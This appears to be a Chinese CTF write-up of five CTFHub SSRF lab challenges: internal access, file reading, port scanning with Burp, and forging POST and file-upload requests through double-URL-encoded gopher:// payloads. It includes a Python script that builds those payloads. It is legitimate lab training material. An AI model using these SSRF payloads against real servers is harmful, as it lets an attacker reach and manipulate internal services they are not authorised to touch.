CTFHub SSRF 1-5

内网访问

启动靶场

因为有提示所以直接访问127.0.0.1/flag.php得出flag

伪协议读取文件

提示显示读取web下的flag.php

因为linux下的web路径默认是/var/www/html所以直接输入就出来了

端口扫描

老样子有提示所以url输入=http://127.0.0.1:8000然后拿burp抓包用狙击手搞一下

下面的图片有显示因为状态码一样 所以看长度有个不一样的直接就出来了

post请求

用dirsearch扫了一下看到有index.php

虽然有提醒但是还是不知道干啥所以先从url里面查http://127.0.0.1/flag.php

可以看到有key值提交到上面没啥用但是我们知道需要提交key值才能得到flag

所以只要往flag.php传key值就可以得到flag  而index.php可以利用curl传url   那么我们可以用gopher协议在index.php中构造post请求包往flag.php传key值以此获取flag

想到了gopher伪协议（curl支持gopher），发送GET或POST请求(需要配合http协议二次url编码上传)；本题要用gopher发送POST请求，gopher的格式是gopher://<host>:<port>/<gopher-path>_后接tcp流，本题默认伪gopher://127.0.0.1:80/_后接post请求 ，完整的gopher请求如下：

gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1

Host: 127.0.0.1:80

Content-Type: application/x-www-form-urlencoded

Content-Length: 36

key=5879a4cfc3cd3739942d9b10e612b473

(key值记得换自己的)

然后我们将它进行url编码，进行编码时要注意：

回车换行要变为%0d%0a,但如果直接用工具转，可能只会有%0a

在HTTP包的最后要加%0d%0a，代表消息结束（具体可研究HTTP包结束）

要进行几次url编码呢？本题相当于有两次请求（post请求本身算一次，放进url=gopher...中算第二次），因此要进行两次url编码，编码结果是：

gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250AHost:%2520127.0.0.1:80%250d%250AContent-Type:%2520application/x-www-form-urlencoded%250d%250AContent-Length:%252036%250d%250A%250d%250Akey=5879a4cfc3cd3739942d9b10e612b473%250d%250a

完整的是:

http://127.0.0.1:80/index.php?url=gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application/x-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D5879a4cfc3cd3739942d9b10e612b473

Burp抓包放到重置器就出来了

文件上传

走gopher协议了，完整抓的包如下：

POST /flag.php HTTP/1.1

Host: 127.0.0.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------316258355439872129751386223845

Content-Length: 354

Origin: http://challenge-579f71a96c646564.sandbox.ctfhub.com:10800

Connection: close

Referer: http://challenge-579f71a96c646564.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php

Upgrade-Insecure-Requests: 1

-----------------------------316258355439872129751386223845

Content-Disposition: form-data; name="file"; filename="try.txt"

Content-Type: text/plain

I am BossFrank

-----------------------------316258355439872129751386223845

Content-Disposition: form-data; name="aaa"

æ交查询

-----------------------------316258355439872129751386223845—

我们要对这个包进行二次url编码，用python写一下好了：

import urllib.parse



payload =\



"""POST /flag.php HTTP/1.1



Host: 127.0.0.1



Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8



Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2



Accept-Encoding: gzip, deflate



Content-Type: multipart/form-data; boundary=---------------------------316258355439872129751386223845



Content-Length: 354



Origin: http://challenge-579f71a96c646564.sandbox.ctfhub.com:10800



Connection: close



Referer: http://challenge-579f71a96c646564.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php



Upgrade-Insecure-Requests: 1







-----------------------------316258355439872129751386223845



Content-Disposition: form-data; name="file"; filename="try.txt"



Content-Type: text/plain







I am BossFrank



-----------------------------316258355439872129751386223845



Content-Disposition: form-data; name="aaa"







æ交æ¥è¯¢



-----------------------------316258355439872129751386223845--







"""  



 



#注意payload的最后一行是回车（空行），表示http请求结束



tmp = urllib.parse.quote(payload)



new = tmp.replace('%0A', '%0D%0A')



new2 = urllib.parse.quote(new)



result = 'gopher://127.0.0.1:80/_'+new2



print(result)       # 这里因为是GET请求所以要进行两次url编码

运行代码，生成的编码后结果如下：

gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------316258355439872129751386223845%250D%250AContent-Length%253A%2520354%250D%250AOrigin%253A%2520http%253A//challenge-579f71a96c646564.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-579f71a96c646564.sandbox.ctfhub.com%253A10800/%253Furl%253Dhttp%253A//127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------316258355439872129751386223845%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522try.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250AI%2520am%2520BossFrank%250D%250A-----------------------------316258355439872129751386223845%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522aaa%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%25C3%25A6%25C2%259F%25C2%25A5%25C3%25A8%25C2%25AF%25C2%25A2%250D%250A-----------------------------316258355439872129751386223845--%250D%250A%250D%250A

放在url上就出来了